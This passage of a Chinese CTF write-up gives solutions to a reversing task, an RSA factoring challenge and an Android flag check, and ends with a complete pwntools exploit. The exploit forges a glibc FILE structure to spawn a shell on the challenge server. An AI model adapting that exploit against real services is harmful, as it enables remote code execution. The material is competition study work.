        break
    tmp.append(table.index(x))

def invshift(m, k, c):
    revm = 0
    if k < 0:
        k = -k
        cnt = 0
        while cnt < 64:
            hk = (revm << (64 - k)) & 0xffffffffffffffff
            tmp = (hk & c) ^ m
            revm = (revm << k) + (tmp >> (64 - k))

            m = (m << k) & 0xffffffffffffffff
            c = (c << k) & 0xffffffffffffffff
            cnt += k
        return revm >> (cnt - 64)
    else:
        cnt = 0
        while cnt < 64:
            lk = revm >> cnt
            tmp = ((lk & c) ^ m) & ((1 << k) - 1)
            revm = (tmp << (cnt + k)) + revm
            m = m >> k
            c = c >> k
            cnt += k
        return (revm >> k) & 0xffffffffffffffff

ans = ""
for x in tmp:
    ans += bin(invshift(x, -3, 0x3f))[2:].rjust(6, '0')
flag = ""
for i in range(0, len(ans), 8):
    flag += chr(int(ans[i:i+8], 2))

flag = 'e25' + res + flag
print(flag)

image-20220124222727256

flag:e25be952-e74b-4649-bc0d-236342079a59

Crypto

babyrsa

看题目就是一个rsa加密,给了e、N、c求m。

如果N能分解的话就是一个RSA模板题了,用http://www.factordb.com/试试发现还真可以。

image-20220123122511290

分解拿到p和q,用sage手撸一个解密算法:

e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N = p*q
print(N == 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929)

phi = (p-1) * (q-1)
d = inverse_mod(e, phi)
print(pow(c, d, N))

image-20220123121145005

然后丢进python里long_to_bytes一下拿到flag:

image-20220123121202535

flag:01d_Curs3_c4Me_Again

Accelerate your time

看到附件给了apk,啪的一下就点进来了,很快啊(x

是个kotlin写的apk,以前没逆什么kotlin的经验,一通瞎做搞出来的orz

直接用jeb看(类似于看平时apk的java层),翻包名看到flag,感觉是个重点包,定位到主行为函数

image-20220124150952531

可以看到很明显的check,是把当前的时间做了一个md5塞进大括号里,再拼上用户名和密码,最后再做一个md5跟已知字符串比较。这里的md5取的是[8:24]↓

image-20220124152902690

hour我直接大胆猜测是4,前面看到有特判

image-20220124153715949

min和sec没看到特判,但是60*60的空间完全可以爆破

username和password的xor联系在LoginDataSource里,并且username == trandmark

image-20220125223349886

安卓包的字符串内容是写在res/strings.xml里面的,只要拿到name就可以拿到trandmark的内容:

image-20220124154007240

用户名是Android,密码可以异或得到,md5的结果同样在strings.xml中,须做id->name、name->content的映射

image-20220124154227226

image-20220124154246364

flag就可以出来了,爆破分秒写exp:(其实感觉这题才应该叫TimeTravel才对= =只能在特定时间拿到flag嘛)

from hashlib import md5

#username^password
xorarr = [6, 28, 1, 19, 27, 5, 29]
username = "Android"
password = ""
for i in range(len(xorarr)):
    password += chr(ord(username[i]) ^ xorarr[i])

hashstr_8_23 = "1a9852e856816224"
h = str(4)
for m in range(60):
    for s in range(60):
        flag = "flag{" + md5((h+str(m)+str(s)).encode()).hexdigest()[8:24] + "}" + username + password
        if md5(flag.encode()).hexdigest()[8:24] == hashstr_8_23:
            print(flag)

image-20220124154428658

flag:80d0169d22da3c35

PWN

送分题

送分题真的是送分题啊,看到做题的人异常地多,于是去找原题,发现真的找到了wp

https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(

from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
# debug = 1
file_name = './pwn'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc_name = './libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'
# if debug:
    # r = process(file_name)
    # libc = ELF(libc_name)
# else:
r = remote(ip,int(prot))
libc = ELF(libc_name)

# def debug():
#     gdb.attach(r)
#     raw_input()


def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
                    _IO_write_base=0,
                    _IO_write_ptr=1,
                    _IO_buf_base=binsh,
                    _mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()

image-20220124150811994

flag:5hen_m3_5hi_kuai_1e_xin9_Qiu